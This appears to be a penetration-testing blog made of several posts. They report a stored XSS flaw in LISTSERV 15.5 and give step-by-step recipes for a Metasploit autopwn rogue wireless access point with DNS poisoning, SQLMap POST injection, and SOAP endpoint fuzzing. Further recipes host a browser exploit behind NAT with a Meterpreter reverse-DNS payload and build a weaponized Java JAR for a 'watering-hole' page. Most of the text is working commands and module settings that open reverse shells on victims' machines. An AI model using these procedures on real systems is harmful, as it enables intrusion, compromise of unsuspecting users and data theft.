LISTSERV 15.5 Persistent XSS

During an external penetration test for a client, I came across a LISTSERV 15.5 Lite server. 

Account creation was trivial, and upon authentication I began snooping around.  There are a few CVE's floating around out there (old), but I couldn't get anything to pop.  Input was either encoded, filtered, or escaped and it seemed that the application was doing an adequate job. 

Within the "Preferences" section, I found the "Report Preferences" section.

Under this section, a setting for "Lists and Subscribers Displayed:"

The parameter "1" stored input unfiltered:

I moved to a somewhat better proof of concept - a lame alert box:

I noticed that the value was passed through a GET request in the URL!  Wow!

As you can imagine, this is a pretty devastating finding.  Stored XSS, by passing a crafted Javascript to the "1" parameter through a URL. 

This URL can be sent to anybody (authenticated or unauthenticated).  LISTSERV will have them either login, or create an account.  And, will then (upon authentication) pass the parameter back to the application and not only instantly execute the arbitrary javascript, but store that javascript in their profile!

Currently, no CVE's exist for this LISTSERV Persistent XSS flaw.

Autopwning Rogue Access Point FTW

I recently had the opportunity to conduct an internal wireless pen test - Karmetasploit is an awesome script.  However, it can be a headache to setup, as it requires a few different components in order to work.  So, I stripped out what I wanted and came up with my own version of an Autopwning Rogue Access Point.

Basic requirements :

Aircrack-ng suite - You can find it here (recommend compiling the source)
Linux system with Wireless card
isc-dhcp-server ((sudo apt-get install isc-dhcp-server))
Metasploit

Place the wireless card into monitor mode:
sudo airmon-ng start wlan0

Spin up the Rogue AP:
sudo airbase-ng -e "pwn_me" -v mon0

Create a new network for victims (note that the addressing can be anything 10.x.x.x,172.16.x.x,192.168.x.x)
sudo ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
sudo route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
sudo echo '1' > /proc/sys/net/ipv4/ip_forward

If you're using UFW, enable connections in on port 53:
sudo ufw allow 53/udp

Edit the "/etc/dhcp/dhcpd.conf" file and add or replace contents with the code below:
-----DHCP CONFIG-----## /etc/dhcp/dhcpd.conf
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
-----DHCP CONFIG-----

Restart the DHCP server
sudo service isc-dhcp-server restart

Fire up Metasploit and launch the browser_autopwn module (this will take some time):
msf > use auxiliary/server/browser_autopwn

Set the variables:
set LHOST 10.0.0.1
set SRVHOST 10.0.0.1
set SRVPORT 80
set URIPATH /

Launch the fakedns module:
msf > use auxiliary/server/fakedns

Set the variables:
set SRVHOST 10.0.0.1
set SRVPORT 53
set TARGETACTION FAKE
set TARGETDOMAIN *
set TARGETHOST 10.0.0.1

Ok, we're ready to rock. The rogue AP is setup. What we have done is created a wireless access point, DHCP server, DNS, and webserver. A victim connecting to the rogue AP will get an IP address. Then, when the victim attempts to connect out to a website, Metasploit will intercept the DNS request and poison the response (with the AP's IP). Metasploit is listening on TCP port 80 for incoming connections, ready to execute a barrage of browser (and plugin) exploits against the victim. It's important to note that if you are using a host based firewall, you will have to open the reverse connection port to your system, the web port, and DNS.

SQLMap POST Request Injection

Using SQLMap and attempting to inject with POST Data, doesn't always seem to work very well (specifically, when you are dealing with session cookies and manually writing the SQLmap command line out) - I think that we've all experienced strange anomalies.

I've found something that makes the time consuming nature of copying session cookies out of burp, trying to get SQLMap to inject into the correct parameter, etc. etc. much easier.
First, we will need Burpsuite loaded up, we will also need our point of injection (URI).

1. Browse to target site http://example_site.com/Login.asp
2. Configure Burp proxy, point browser to Burp (127.0.0.1:8080) with Burp set to intercept in the proxy tab.
3. Click on the submit button on the login form
4. Burp catches the POST request and waits
5. Copy the entire POST request to a text file, I have called it 'post.txt' and placed it in the /sqlmap/ directory
(If you have used VI to paste the POST request into, make sure you remove the line spacing (basically make it look how it looks in Burp))
6. Run sqlmap as shown here (note that the'tfUPass' parameter is only an example):

./sqlmap.py -r post.txt -p tfUPass

The option '-r' tells SQLMap to read the 'search-test.txt' file to get the information used to inject in the POST request. '-p' is the parameter we are attacking. Bascially, SQLMap parses through the POST request for you, pulls out all pertinent information, such as session cookies, URL, etc.

Manual Data Enumeration via SOAP

You can use Burp Suite to manually enumerate data via WSDL/SOAP.
First, we'll need to spin up Burp to capture the requests.
Second, let's locate locate the '*.asmx' file (ASP.NET Webservices Source file), which should be fairly easy.
Try viewing the source code of the main page, or sub pages and search for '.asmx.'  Once you have found the file, we will need view the list of supported SOAP/WSDL operations.  This can be done by browsing directly to the '.asmx' file.

In this example, we browse to the following URL:

http://[host]/[File Name].asmx?

We are returned something similar to this. In some cases you'll have more operations listed, which gives you more to play with.

The following operations are supported. For a formal definition, please review the Service Description.

    GetPhysicianLastNames

This web service is using http://tempuri.org/ as its default namespace.
Recommendation: Change the default namespace before the XML Web service is made public.

The beauty of this is that by clicking on each of the supported operations, you will be returned with working examples of how to craft the SOAP/WSDL requests.
The easiest way to craft and test these examples is by copying out each working example (shown below) and send any Burp request (within the Proxy, History tab) to 'Repeater'.  Once you have the request in repeater, just copy and replace with the SOAP request data.

Our crafted SOAP/WSDL request:

POST /[File Name].asmx HTTP/1.1
Host: www.[host].com
Content-Type: text/xml; charset=utf-8
Content-Length: 381
SOAPAction: "http://tempuri.org/GetPhysicianLastNames"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetPhysicianLastNames xmlns="http://tempuri.org/">
      <prefixText>[Search String]</prefixText>
    </GetPhysicianLastNames>
  </soap:Body>
</soap:Envelope>

Within the 'PrefixText' tag, we insert our search string, in this case 'A' and click 'Go' to send the POST.
Now we see our results returned within the Response section of Burp Suite.
In this case, we returned (obviously) all physician last names starting with 'A'.:

X-AspNet-Version: 4.0.30319
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 699

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><GetPhysicianLastNamesResponse xmlns="http://tempuri.org/"><GetPhysicianLastNamesResult><string>Acenas-Recientes</string><string>Agyemang</string><string>Ahmed</string><string>Akhnoukh</string><string>Alacha</string><string>Albano</string><string>Alvarez</string><string>Anthony</string><string>Anthony-Yearwood</string><string>Antoine</string><string>Arnau</string><string>Augustin</string></GetPhysicianLastNamesResult></GetPhysicianLastNamesResponse></soap:Body></soap:Envelope>

How do we take this a step farther? If the listed operations won't reveal any juicy infos, then let's replace our search string with a payload.
Within the Burp -> Repeater -> Request window, right click and send the request to Intruder.
Click the Intruder tab and let's set our Payload Position (or Fuzz point). Click 'Clear' to remove the payload positions, then click your cursor between the 'PrefixText' tags, click 'Add'.

POST /[File Name].asmx HTTP/1.1
Host: www.[host].com
Content-Type: text/xml; charset=utf-8
Content-Length: 381
SOAPAction: "http://tempuri.org/GetPhysicianLastNames"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetPhysicianLastNames xmlns="http://tempuri.org/">
      <prefixText>§§</prefixText>
    </GetPhysicianLastNames>
  </soap:Body>
</soap:Envelope>

Now we can experiment with various payload lists (built in) or external.

Hosting Metasploit Browser Exploits Behind NAT Using DNS

Recently, I ran across a need to host a browser based exploit behind my NAT'd router.  Of course, the initial thought is to port forward and exploit away, which is the first step.  However, there are two issues to overcome.  First, using a reverse connection payload is not possible with an non-routable IP.  Second, binding a routable IP to the listening port is also not possible when your box is behind a NAT'd address.

We overcome this obstacle by creating a free DNS subdomain and point it at our public IP.  I used the site freedns.afraid.org.  There are a number of domains to leverage.

Remember, we will need to port forward two ports to our Metasploit listener box internal IP.  In this example, I've forwarded TCP port 8080 (webserver) and TCP port 4443 (payload connect back)

 **Important - In order to bind our listening address, create the payload, and enable to payload to connect back to our public IP address, we need to edit our '/etc/hosts' file.

Add the following line: (hostip is the internal IP Metasploit is listenting, subdomain.domain.com is the new DNS subdomain you created that points to your external IP):

hostip      subdomain.domain.com

**Additionally, it is important that when Metasploit resolves the DNS hostname, it gets the internal IP address.  This will allow it to bind locally.  This is why we added the above entry to our '/etc/hosts' file.

Now that we've laid the foundation, we can move forward to setting up Metasploit.  In this example, we use the 'ms12_004_midi' browser exploit module.

use exploit/windows/browser/ms12_004_midi

We will implement the Meterpreter 'reverse_tcp_dns' payload that will allow us to bind our DNS hostname within the payload - allowing it to call back to us.  This is an important step.

set PAYLOAD windows/meterpreter/reverse_tcp_dns

Set our variables.

set SRVHOST 10.0.0.15 

set URIPATH lamesauce

set LHOST subdomain.domain.com

set LPORT 4443

 

We are ready to start our server.

exploit

Now we test from our external Windows host.  Visit the URL containing our new domain. 

The vulnerability in the browser is exploited.  In this case, the Media Player plugin has a vulnerability in the way it handles (or can't handle) a corrupted .midi file.  We get our Meterpreter session.

The payload was able to call back to our listener using DNS.  We now have two way connection, a Meterpreter session.  All done over NAT.

Weaponizing a Java Archive file for offline use

In certain cases you may want to create a JAR file for offline use.  As an example, upon successful compromise of a Linux server, a "watering-hole" situation could be created by hosting a Java Meterpreter payloaded JAR file on the compromised system and pointing users to it.

In this case, the Java JMXBean 2 vulnerability which affects Java versions 1.7 and under will be leveraged.

Initialize Metasploit console 'msfconsole' and use:

use exploit/multi/browser/java_jre17_jmxbean_2

Set the payload (Java Meterpreter Reverse TCP):

set PAYLOAD java/meterpreter/reverse_tcp

Show and Set Options:

show options

The interest here is to just grab the JAR file from the Metasploit server.  Set the SRVHOST to 127.0.0.1.  However, keep in mind that the LHOST variable should be set to to point to the IP that will actually host the Meterpreter listener.  In this example, I set the LHOST to 10.0.0.10.

set SRVHOST 127.0.0.1

set LHOST 10.0.0.10

Now start the listener:

exploit

Take note of the URI path, it's randomized and will be different than the above screenshot.   Create a 'wget' request and grab the weaponized JAR.

wget http://127.0.0.1:8080/TneGeXfpn2/Archive.jar

We can now use Python to create a simple webserver to host the "watering-hole" landing page.  First, we create the 'index.html' file with embed code to invoke the JAR:

<html><head></head><body><applet archive="Archive.jar" code="Exploit.class" width="1" height="1"></applet></body></html>

Dump both the 'index.html' and 'Archive.jar' into a world readable directory.  From within that directory execute the Python command to launch the web server:

python -m SimpleHTTPServer 80

Don't forget to start your Metasploit listener on the machine you pointed the LHOST IP variable back to.

use exploit/multi/handler

set PAYLOAD java/meterpreter/reverse_tcp

set LHOST 10.0.0.10

exploit

Metasploit Executable Payload Creation